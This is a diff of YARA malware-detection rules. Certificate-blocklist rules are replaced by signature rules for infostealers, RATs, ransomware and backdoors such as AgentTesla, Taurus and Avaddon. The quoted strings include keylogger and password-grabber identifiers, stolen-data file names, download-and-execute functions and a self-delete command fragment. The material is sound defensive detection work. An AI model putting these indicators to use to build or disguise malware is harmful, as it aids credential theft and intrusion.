 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8d0223b6366f7bc22fd6dd053c1fb6c9e52f80b3bdf9ee46017ddf038bd1e00f"
+		logic_hash = "5c2a76ce52bce9c37a3518ff459011acb733c2c5abac74786e41a1c169459ce2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c40c5157e96369ceb7e26e756f2d1372128cee7b"
-		importance = 20
+		snort_sid = "920208-920210"
+
+	strings:
+		$s1 = "bhookpl.dll" fullword wide
+		$s2 = "drvloadn.dll" fullword wide
+		$s3 = "drvloadx.dll" fullword wide
+		$s4 = "SPY_NET_RATMUTEX" fullword wide
+		$s5 = "\\dump.txt" fullword wide
+		$s6 = "AUTHLOADERDEFAULT" fullword wide
+		$pdb = "*\\AC:\\Users\\Admin\\Desktop_old\\Blackshades project\\bs_bot\\bots\\bot\\bs_bot.vbp" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "A&D DOMUS LIMITED" and pe.signatures[i].serial=="2b:ff:ef:48:e6:a3:21:b4:18:04:13:10:fd:b9:b0:d0")
+		uint16(0)==0x5a4d and (4 of ($s*) or ($pdb and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_73B60719Ee57974447C68187E49969A2 : FILE
+rule DITEKSHEN_MALWARE_Win_Goldenspy : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
-		author = "ditekSHen"
-		id = "c72fb0b8-efdc-5734-9754-2289bd95ae3c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L798-L809"
+		description = "GoldenSpy dropper payload"
+		author = "SpiderLabs Trustwave"
+		id = "01d3f14a-fefb-5cea-b055-d7e9f4c7d13b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
+		reference = "https://trustwave.azureedge.net/media/16908/the-golden-tax-department-and-emergence-of-goldenspy-malware.pdf"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1302-L1314"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f9cc0f526a3acbfc30c6b76b6705f1a2d9c905b9bb7c996e4db3ca6d4d63be1c"
+		logic_hash = "908047db2167733da0089375dbfd636881e721cc219da110755b81581d438cfa"
 		score = 75
-		quality = 75
+		quality = 67
 		tags = "FILE"
-		thumbprint = "8e50ddad9fee70441d9eb225b3032de4358718dc"
-		importance = 20
+
+	strings:
+		$reg = "Software\\IDG\\DA" nocase wide ascii
+		$str1 = "requestStr" nocase wide ascii
+		$str2 = "nb_app_log_mutex" nocase wide ascii
+		$str3 = { 510F4345[0-10]50518D8DCCFE[0-20]837D1C[0-20]8D45[0-15]0F4345[0-20]505157 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BIT HORIZON LIMITED" and pe.signatures[i].serial=="73:b6:07:19:ee:57:97:44:47:c6:81:87:e4:99:69:a2")
+		( uint16(0)==0x5A4D) and $reg and 2 of ($str*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2925263B65C7Fe1Cd47B0851Cc6951E3 : FILE
+rule DITEKSHEN_MALWARE_Win_Plurox : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Plurox backdoor payload"
 		author = "ditekSHen"
-		id = "9e531592-b68c-550b-8609-51f7c9ac63ae"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c8a97132-c1d5-5456-a055-d46a9399dbdd"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L811-L822"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1316-L1328"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "163293ce805cdd3ec265fb9c527a5ce19ddab0f6b96355acb636c941ce0bc5f2"
+		logic_hash = "c2ec2ce7a9210d8eebb06c755eab51cab93fe6d48d737fd1756ffe42d46b35d1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "88ef10f0e160b1b4bb8f0777a012f6b30ac88ac8"
-		importance = 20
+
+	strings:
+		$s1 = "autorun.c" fullword ascii
+		$s2 = "launcher.c" fullword ascii
+		$s3 = "loader.c" fullword ascii
+		$s4 = "stealth.c" fullword ascii
+		$s5 = "RunFromMemory" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "tuning buddy limited" and pe.signatures[i].serial=="29:25:26:3b:65:c7:fe:1c:d4:7b:08:51:cc:69:51:e3")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4Ff4Eda5Fa641E70162713426401F438 : FILE
+rule DITEKSHEN_MALWARE_Win_Avalon : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Avalon infostealer payload"
 		author = "ditekSHen"
-		id = "cc81ed1d-bd77-5cec-8bee-23e8ef448edc"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3de01419-9f45-5d82-8391-2e1e41df2b34"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L824-L835"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1330-L1359"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d08e12e74e9c0b7a89ffa81a1b8595953d857e571a5b7a6947eba18bf39610f6"
+		logic_hash = "1aa9dc09ec4c8962dee0455dd367e32139e4c03f1b306f17ac6e82d71aacf713"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a6277cc8fce0f90a1909e6dac8b02a5115dafb40"
-		importance = 20
+
+	strings:
+		$s1 = "Parsecards" fullword ascii
+		$s2 = "Please_Gofuckyouself" fullword ascii
+		$s3 = "GetDomainDetect" fullword ascii
+		$s4 = "GetTotalCommander" fullword ascii
+		$s5 = "KnownFolder" fullword ascii
+		$s6 = "set_hidden" fullword ascii
+		$s7 = "set_system" fullword ascii
+		$l1 = "\\DomainDetect.txt" wide
+		$l2 = "\\Grabber_Log.txt" wide
+		$l3 = "\\Programs.txt" wide
+		$l4 = "\\Passwords_Edge.txt" wide
+		$l5 = "\\KL.txt" wide
+		$w1 = "dont touch" fullword wide
+		$w2 = "Grabber" fullword wide
+		$w3 = "Keylogger" fullword wide
+		$w4 = "password-check" fullword wide
+		$w5 = "H4sIAAAAAAAEA" wide
+		$p1 = "^(?!:\\/\\/)([a-zA-Z0-9-_]+\\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\\.[a-zA-Z]{2,11}?$" wide
+		$p2 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DUHANEY LIMITED" and pe.signatures[i].serial=="4f:f4:ed:a5:fa:64:1e:70:16:27:13:42:64:01:f4:38")
+		uint16(0)==0x5a4d and 8 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_04C7Cdcc1698E25B493Eb4338D5E2F8B : FILE
+rule DITEKSHEN_MALWARE_Linux_Kinsing : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Kinsing RAT payload"
 		author = "ditekSHen"
-		id = "446608c2-4c9e-56a9-8ac4-2c90397d68e5"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b13d2c36-c8d3-5138-9e9a-8b5390a93c8d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L837-L848"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1361-L1376"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d1e81d040a279d6024989acbdd40f69de99c97baf789591400370806e846a1c4"
+		logic_hash = "566eb7d1864e3a8088ad4f5d032d6d62a33080bbfc5c20c2520315cfc8146afc"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "60974f5cc654e6f6c0a7332a9733e42f19186fbb"
-		importance = 20
+
+	strings:
+		$s1 = "backconnect" ascii
+		$s2 = "connectForSocks" ascii
+		$s3 = "downloadAndExecute" ascii
+		$s4 = "download_and_exec" ascii
+		$s5 = "masscan" ascii
+		$s6 = "UpdateCommand:" ascii
+		$s7 = "exec_out" ascii
+		$s8 = "doTask with type %s" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "3AN LIMITED" and pe.signatures[i].serial=="04:c7:cd:cc:16:98:e2:5b:49:3e:b4:33:8d:5e:2f:8b")
+		uint16(0)==0x457f and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4C450Eccd61D334E0Afb2B2D9Bb1D812 : FILE
+rule DITEKSHEN_MALWARE_Win_Avaddon : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Avaddon ransomware payload"
 		author = "ditekSHen"
-		id = "116c86c1-facf-5b69-94f1-3f0f81c38a7d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d5618c8a-17b7-5009-9947-a6462ad2a4af"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L850-L861"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1378-L1395"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "70851d76af4a4dfe8f1ca4de9925f030d9b937050876828775b78eddd123e3cd"
+		logic_hash = "fc3032572d2ab2550d3dde738a3d403459da9b5b640acc814596d958b83620bf"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "4c450eccd61d334e0afb2b2d9bb1d812"
-		importance = 20
+
+	strings:
+		$s1 = "\\IMAGEM~1.%d\\VISUA~1\\BIN\\%s.exe" ascii
+		$s2 = "\\IMAGEM~1.%.2d-\\VISUA~1\\BIN\\%s.exe" ascii
+		$s3 = "\\IMAGEM~1.%d-Q\\VISUA~1\\BIN\\%s.exe" ascii
+		$s4 = "\\IMAGEM~1.%d\\%s.exe" ascii
+		$s5 = "EW6]>mFXDS?YBi?W5] CY 4Z8Y BY7Y BZ8Z CY7Y AY8Z CZ8Y!Y:Z" ascii
+		$s6 = "FY  AY 'Z      ;W      @Y  @Y 'Z    Y  @Y (Z" ascii
+		$s7 = "\"rcid\":\"" fullword ascii
+		$s8 = "\"ip\":\"" fullword ascii wide
+		$s9 = ".?AUANEventIsGetExternalIP@@" fullword ascii
+		$s10 = ".?AUANEventGetCpuMax@@" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ANJELA KEY LIMITED" and pe.signatures[i].serial=="4c:45:0e:cc:d6:1d:33:4e:0a:fb:2b:2d:9b:b1:d8:12")
+		uint16(0)==0x5a4d and 8 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0E1Bacb85E77D355Ea69Ba0B : FILE
+rule DITEKSHEN_MALWARE_Win_Prolock : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "ProLock ransomware payload"
 		author = "ditekSHen"
-		id = "18e2dce1-c6aa-55d8-907a-75097feb7acf"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "88fa19ba-238c-5d4d-bf0c-d421ee2ecf1d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L863-L874"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1397-L1413"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f0753c83001e2b9d235afe51ce5d245e085551584ee052a35aaadd95c6c5eeb7"
+		logic_hash = "b7d2cc71acc4f643a86781d957afcf5203a2f4034b9ca7da93e8227ddee79f3b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "6750c9224540d7606d3c82c7641f49147c1b3fd0"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Ransomware.ProLock"
+
+	strings:
+		$s1 = ".flat" fullword ascii
+		$s2 = ".data" fullword ascii
+		$s3 = ".api" fullword ascii
+		$s4 = "RtlZeroMemory" fullword ascii
+		$s5 = "LoadLibraryA" fullword ascii
+		$s6 = "Sleep" fullword ascii
+		$s7 = "lstrcatA" fullword ascii
+		$s8 = { 55 89 E5 8B 45 08 EB 00 89 45 EC 8D 15 4F 10 40 00 8D 05 08 10 40 00 83 E8 08 29 C2 8B 45 EC 01 C2 31 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BULDOK LIMITED" and pe.signatures[i].serial=="0e:1b:ac:b8:5e:77:d3:55:ea:69:ba:0b")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5998B4Affe2Adf592E6528Ff800E567C : FILE
+rule DITEKSHEN_MALWARE_Win_Purplewave : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "PurpleWave infostealer payload"
 		author = "ditekSHen"
-		id = "b81787fd-a8f1-5640-bf8a-8129f708a337"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6f978190-4b4d-5346-9218-0c9104254b45"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L876-L887"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1415-L1432"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d9f589ce6367517f3c93b7b0675b19249108849e52bd9264e31bf8109e5a121f"
+		logic_hash = "98dca005d2fdf7eea89661e162292451b544847a7f8b63c8c25c82241ec8e04a"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE"
-		thumbprint = "d990d584c856bd28eab641c3c3a0f80c0b71c4d7"
-		importance = 20
+
+	strings:
+		$s1 = "/loader/" fullword ascii
+		$s2 = "\\load_" fullword wide
+		$s3 = "boundaryaswell" fullword ascii
+		$s4 = "[passwords]" ascii
+		$s5 = "[is_encrypted]" ascii
+		$s6 = "[cookies]" ascii
+		$s7 = ".?AVMozillaBrowser@@" fullword ascii
+		$s8 = ".?AVChromeBrowser@@" fullword ascii
+		$s9 = ".?AV?$money" ascii
+		$s10 = "at t.me/LuckyStoreSupport" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BEAT GOES ON LIMITED" and pe.signatures[i].serial=="59:98:b4:af:fe:2a:df:59:2e:65:28:ff:80:0e:56:7c")
+		uint16(0)==0x5a4d and 7 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00B7E0Cf12E4Ae50Dd643A24285485602F : FILE
+rule DITEKSHEN_MALWARE_Java_Pyrogenic
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Pyrogenic/Qealler infostealer payload"
 		author = "ditekSHen"
-		id = "d314925c-c6b2-5a7f-ba73-038ea4759149"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "2b9268f0-2f73-51ad-ab72-9289e42e5bb1"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L889-L900"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1434-L1446"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7aefb436b7e3865b1abb6bbc3e0027a628f39e25cb4b28f35f070e000c19c1c7"
+		logic_hash = "bb8cb939f06a376f72dcbbb1f04ec34526f72c3bcc3b146b905a8466826d2c24"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		thumbprint = "744160f36ba9b0b9277c6a71bf383f1898fd6d89"
-		importance = 20
+		tags = ""
+
+	strings:
+		$s1 = "bbb6fec5ebef0d93" ascii wide
+		$s2 = "2a898bc98aaf6c96f2054bb1eadc9848eb77633039e9e9ffd833184ce553fe9b" ascii wide
+		$s3 = "addShutdownHook" ascii wide
+		$s4 = "obfuscated/META-INF/QeallerV" ascii wide
+		$s5 = "globalIpAddress" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "GESO LTD" and pe.signatures[i].serial=="00:b7:e0:cf:12:e4:ae:50:dd:64:3a:24:28:54:85:60:2f")
+		all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_767436921B2698Bd18400A24B01341B6 : FILE
+rule DITEKSHEN_MALWARE_Win_Agentteslav3 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "AgentTeslaV3 infostealer payload"
 		author = "ditekSHen"
-		id = "ffd19457-1a5d-5782-89e2-3dd4090f124f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c44c69dd-5e95-595c-88c7-89e243648198"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L902-L913"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1448-L1481"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b09ec625a06dcf90df52c56b78889f24d55dbd8cbd7d82a07bdbc842318ff19a"
+		logic_hash = "6c62b2f601eba3c83b60f7f6dbd3d0ec3c01af30f4312df897bb5e902c36fdac"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "871899843b5fd100466e351ca773dac44e936939"
-		importance = 20
+
+	strings:
+		$s1 = "get_kbok" fullword ascii
+		$s2 = "get_CHoo" fullword ascii
+		$s3 = "set_passwordIsSet" fullword ascii
+		$s4 = "get_enableLog" fullword ascii
+		$s5 = "bot%telegramapi%" wide
+		$s6 = "KillTorProcess" fullword ascii
+		$s7 = "GetMozilla" ascii
+		$s8 = "torbrowser" wide
+		$s9 = "%chatid%" wide
+		$s10 = "logins" fullword wide
+		$s11 = "credential" fullword wide
+		$s12 = "AccountConfiguration+" wide
+		$s13 = "<a.+?href\\s*=\\s*([\"'])(?<href>.+?)\\1[^>]*>" fullword wide
+		$g1 = "get_Clipboard" fullword ascii
+		$g2 = "get_Keyboard" fullword ascii
+		$g3 = "get_Password" fullword ascii
+		$g4 = "get_CtrlKeyDown" fullword ascii
+		$g5 = "get_ShiftKeyDown" fullword ascii
+		$g6 = "get_AltKeyDown" fullword ascii
+		$m1 = "yyyy-MM-dd hh-mm-ssCookieapplication/zipSCSC_.jpegScreenshotimage/jpeg/log.tmpKLKL_.html<html></html>Logtext/html[]Time" ascii
+		$m2 = "%image/jpg:Zone.Identifier\\tmpG.tmp%urlkey%-f \\Data\\Tor\\torrcp=%PostURL%127.0.0.1POST+%2B" ascii
+		$m3 = ">{CTRL}</font>Windows RDPcredentialpolicyblobrdgchrome{{{0}}}CopyToComputeHashsha512CopySystemDrive\\WScript.ShellRegReadg401" ascii
+		$m4 = "%startupfolder%\\%insfolder%\\%insname%/\\%insfolder%\\Software\\Microsoft\\Windows\\CurrentVersion\\Run%insregname%SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\RunTruehttp" ascii
+		$m5 = "\\WindowsLoad%ftphost%/%ftpuser%%ftppassword%STORLengthWriteCloseGetBytesOpera" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "REBROSE LEISURE LIMITED" and pe.signatures[i].serial=="76:74:36:92:1b:26:98:bd:18:40:0a:24:b0:13:41:b6")
+		( uint16(0)==0x5a4d and (8 of ($s*) or (6 of ($*) and all of ($g*)))) or (2 of ($m*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_26B125E669E77A5E58Db378E9816Fbc3 : FILE
+rule DITEKSHEN_MALWARE_Win_Taurus : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Taurus infostealer payload"
 		author = "ditekSHen"
-		id = "18985965-9e26-526c-9354-20667d472615"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c02114c1-9c97-5d0c-b7ce-1bd6a00a9e9a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L915-L926"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1483-L1519"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "859793bfeba55c9912a1e18db86cd391d4c4981f4be11f3a53d887d429882671"
+		logic_hash = "6039c27e69b47dfcc1327c34306627d2d9bd57f6bd365bb80b47ad21f892ae8a"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "900aa9e6ff07c6528ecd71400e6404682e812017"
-		importance = 20
+
+	strings:
+		$s1 = "t.me/taurus_se" ascii
+		$s2 = "rus_seller@explo" ascii
+		$s3 = "/c timeout /t 3  & del /f /q" ascii
+		$s4 = "MyAwesomePrefix" ascii
+		$txt1 = "LogInfo.txt" fullword ascii
+		$txt2 = "Information.txt" fullword ascii
+		$txt3 = "General\\passwords.txt" fullword ascii
+		$txt4 = "General\\forms.txt" fullword ascii
+		$txt5 = "General\\cards.txt" fullword ascii
+		$txt6 = "Installed Software.txt" fullword ascii
+		$txt7 = "Crypto Wallets\\WalletInfo.txt" fullword ascii
+		$txt8 = "cookies.txt" fullword ascii
+		$url1 = "/cfg/" wide
+		$url2 = "/loader/complete/" wide
+		$url3 = "/log/" wide
+		$url4 = "/dlls/" wide
+		$upat = /\.exe;;;\d;\d;\d\]\|\[http/
+		$x1 = "Vaultcli.dll" fullword ascii
+		$x2 = "Bcrypt.dll" fullword ascii
+		$x3 = "*.localstor" ascii
+		$x4 = "operator<=>" fullword ascii
+		$x5 = ".data$rs" fullword ascii
+		$x6 = "https_discordap" ascii
+		$o1 = { 53 56 8b 75 08 8d 85 64 ff ff ff 57 6a ff 6a 01 }
+		$o2 = { 6a 00 68 00 04 00 00 ff b5 a8 fe ff ff ff b5 ac }
+		$o3 = { ff 75 0c 8d 85 44 ff ff ff 50 e8 aa f7 ff ff 8b }
+		$o4 = { 8b 47 04 c6 40 19 01 8d 85 6c ff ff ff 8b 0f 50 }
+		$o5 = { 8d 8d ?? ff ff ff e8 5b }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FLOWER DELI LTD" and pe.signatures[i].serial=="26:b1:25:e6:69:e7:7a:5e:58:db:37:8e:98:16:fb:c3")
+		((3 of ($s*) or (6 of ($txt*) and 2 of ($s*)) or ($upat and 1 of ($s*) and 2 of ($txt*)) or ( all of ($url*) and (2 of ($txt*) or 1 of ($s*)))) or ( uint16(0)==0x5a4d and all of ($x*) or ( all of ($o*) and 3 of ($x*))))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_29A248A77D5D4066Fe5Da75F32102Bb5 : FILE
+rule DITEKSHEN_MALWARE_Win_Remoteutilitiesrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "RemoteUtilitiesRAT RAT payload"
 		author = "ditekSHen"
-		id = "b71f4ee4-55d1-51c7-8fc3-1c6fcaa64a86"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "1cf3ece1-e723-5302-9673-273381ba7a8b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L928-L939"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1521-L1537"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "063a8b361e9fc91619912109427f6a0cbc7755e85dae820ea0f16709ac580ed1"
+		logic_hash = "179a559f6a6ffbce31595bd613d338bb6ac40b8a083ed0169cde754b6ed756c7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "1078c0ab5766a48b0d4e04e57f3ab65b68dd797f"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.RemoteUtilitiesRAT"
+
+	strings:
+		$s1 = "rman_message" wide
+		$s2 = "rms_invitation" wide
+		$s3 = "rms_host_" wide
+		$s4 = "rman_av_capture_settings" wide
+		$s5 = "rman_registry_key" wide
+		$s6 = "rms_system_information" wide
+		$s7 = "_rms_log.txt" wide
+		$s8 = "rms_internet_id_settings" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SUN & STARZ LIMITED" and pe.signatures[i].serial=="29:a2:48:a7:7d:5d:40:66:fe:5d:a7:5f:32:10:2b:b5")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3A9Bdec10E00E780316Baaebfe7A772C : FILE
+rule DITEKSHEN_MALWARE_Win_Slothfulmedia : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "SlothfulMedia backdoor payload"
 		author = "ditekSHen"
-		id = "0879b4f7-4058-5391-b8bf-90a46ef337f6"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e94b6d67-137c-5cfb-9c59-fbeb6cd85f0a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L941-L952"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1539-L1565"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f1c0d23c9aa2ff705e3350e15b7ff83fc007ce6aaa57c4ed59201f3022f5d00a"
+		logic_hash = "6f742e8d9d555b44daaa09835f599c99e16cd39bb106c8f43fbbca7093de462e"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "981b95ffcb259862e7461bc58516d7785de91a8a"
-		importance = 20
+
+	strings:
+		$x1 = /ExtKeylogger(Start|Stop)/ fullword ascii
+		$x2 = /ExtService(Add|Delete|Start|Stop)/ fullword ascii
+		$x3 = /ExtRegKey(Add|Del)/ fullword ascii
+		$x4 = /ExtRegItem(Add|Del)/ fullword ascii
+		$x5 = "ExtUnload" fullword ascii
+		$s1 = "Local Security Process" fullword wide
+		$s2 = "Global%s%d" fullword wide
+		$s3 = "%s%s_%d.dat" fullword wide
